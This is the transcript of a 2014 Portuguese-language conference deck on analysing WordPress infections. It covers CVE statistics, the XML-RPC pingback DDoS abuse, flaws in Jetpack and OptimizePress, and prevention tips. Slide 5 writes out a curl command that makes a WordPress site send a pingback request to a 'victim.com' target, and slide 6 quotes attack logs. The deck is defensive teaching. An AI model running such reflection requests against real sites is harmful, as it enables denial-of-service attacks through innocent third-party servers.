Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Analise de Infeccoes no WordPress - WordCampBH14

Analise de Infeccoes no WordPress - WordCampBH14

Title: Analise de Infeccoes no WordPress
(Malware Infection Analysis on WordPress)
Language: Portuguese (Brasil)
Conference: WordCamp Belo Horizonte
Date: May 17th, 2014
Location: Belo Horizonte, Brazil
Website: http://2014.belohorizonte.wordcamp.org

Bruno Borges

May 17, 2014
Tweet

More Decks by Bruno Borges

Other Decks in Technology

Transcript

  1. Histórico de Releases do WP @brunoborgessec :: #wordcampbh 56% 44%

    Security Release Maintenance Todas as versões à partir de 3.0 (2010)
  2. Histórico de Releases do WP @brunoborgessec :: #wordcampbh 43% 57%

    Security Release Maintenance Todas as versões à partir de 2013 (WP 3.5.1)
  3. Vulnerabilidades do WP @brunoborgessec :: #wordcampbh Vulnerabilidades reportadas (CVE) –

    core, plugins, themes http://www.cvedetails.com/vendor/2337/Wordpress.html
  4. Vulnerabilidades do WP @brunoborgessec :: #wordcampbh Tempo de descoberta até

    correção da vulnerabilidade https://www2.trustwave.com/2013GSR.html
  5. Ameaças & Vulnerabilidades Recentes @brunoborgessec :: #wordcampbh +162.000 sites WordPress

    sendo usados para DDoS 74.86.132.186 - - [09/Mar/2014:11:05:27 -0400] "GET /?4137049=6431829 HTTP/1.0" 403 0 "-" "WordPress/3.8; http://www.mtbgearreview.com" 121.127.254.2 - - [09/Mar/2014:11:05:27 -0400] "GET /?4758117=5073922 HTTP/1.0" 403 0 "-" "WordPress/3.4.2; http://www.kschunvmo.com" 217.160.253.21 - - [09/Mar/2014:11:05:27 -0400] "GET /?7190851=6824134 HTTP/1.0" 403 0 "-" "WordPress/3.8.1; http://www.intoxzone.fr" 193.197.34.216 - - [09/Mar/2014:11:05:27 -0400] "GET /?3162504=9747583 HTTP/1.0" 403 0 "-" "WordPress/2.9.2; http://www.verwaltungmodern.de" .. $ curl -D - "www.anywordpresssite.com/xmlrpc.php" -d '<methodCall><methodName>pingback.ping</ methodName><params><param><value><string>http://victim.com</string></value></ param><param><value><string>www.anywordpresssite.com/postchosen</string></ value></param></params></methodCall>'
  6. Ameaças & Vulnerabilidades Recentes @brunoborgessec :: #wordcampbh +162.000 sites WordPress

    sendo usados para DDoS 93.174.93.72 - - [09/Mar/2014:20:11:34 -0400] "POST /xmlrpc.php HTTP/1.0" 403 4034 "-" "-" "POSTREQUEST:<?xml version=\x221.0\x22 encoding=\x22iso-8859-1\x22?>\x0A<methodCall> \x0A<methodName>pingback.ping</methodName>\x0A<params>\x0A <param>\x0A <value>\x0A <string>http://fastbet99.com/?1698491=8940641</string>\x0A </value>\x0A </param>\x0A <param>\x0A <value>\x0A <string>yoursite.com</string>\x0A </value>\x0A </param>\x0A</params>\x0A</methodCall> \x0A" 94.102.63.238 – - [09/Mar/2014:23:21:01 -0400] "POST /xmlrpc.php HTTP/1.0" 403 4034 "-" "-" "POSTREQUEST:\x0A\x0Apingback.ping\x0A\x0A \x0A \x0A http://www.guttercleanerlondon.co.uk/? 7964015=3863899\x0A \x0A \x0A \x0A \x0A yoursite.com\x0A \x0A \x0A\x0A\x0A" Verifique se seu site está fazendo isso: http://labs.sucuri.net/?is-my-wordpress-ddosing http://blog.sucuri.net/2014/03/more-than-162000-wordpress-sites-used-for-distributed-denial-of-service-attack.html
  7. Ameaças & Vulnerabilidades Recentes @brunoborgessec :: #wordcampbh JetPack Plugin http://blog.sucuri.net/2014/04/critical-update-for-jetpack-wordpress-plugin.html

    Versões afetadas: Todas desde outubro, 2012 (Jetpack 1.9) Versão Recomendada: 2.9.3 CVE-2014-0173 A vulnerabilidade permite burlar o controle de acesso e publicar posts no site
  8. Ameaças & Vulnerabilidades Recentes @brunoborgessec :: #wordcampbh http://blog.sucuri.net/2013/12/wordpress-optimizepress-theme-file-upload-vulnerability.html Versão afetada:

    1.0 OptimizePress Theme – File Upload Vulnerability Ataque no arquivo: lib/admin/media-upload.php Permite o upload de quaisquer arquivos em: wp-content/uploads/optpress/images_comingsoon
  9. Como prevenir uma infecção @brunoborgessec :: #wordcampbh •  Tenha backup

    de arquivos & database •  Tenha backup de temas e plugins pagos •  WP Core, plugins e temas sempre atualizados •  Pesquise se existem vulnerabilidades conhecidas paras os temas e plugins que estiver usando •  Delete temas/plugins que não estejam em uso
  10. Como prevenir uma infecção @brunoborgessec :: #wordcampbh •  Saiba suas

    credenciais de FTP & Cpanel/Hosting •  Permissões corretas nos diretórios •  Não busque FREE plugins / themes no google! •  Não deixe arquivos de backup no servidor: .htaccess.bkp wp-config.php.bkp database-maio14.sql.bkp
  11. Como prevenir uma infecção @brunoborgessec :: #wordcampbh •  Use um

    WAF / Website Firewall •  A forma mais rápida de proteger o seu site. •  Requer pouco esforço. •  Necessário pouco conhecimento de Segurança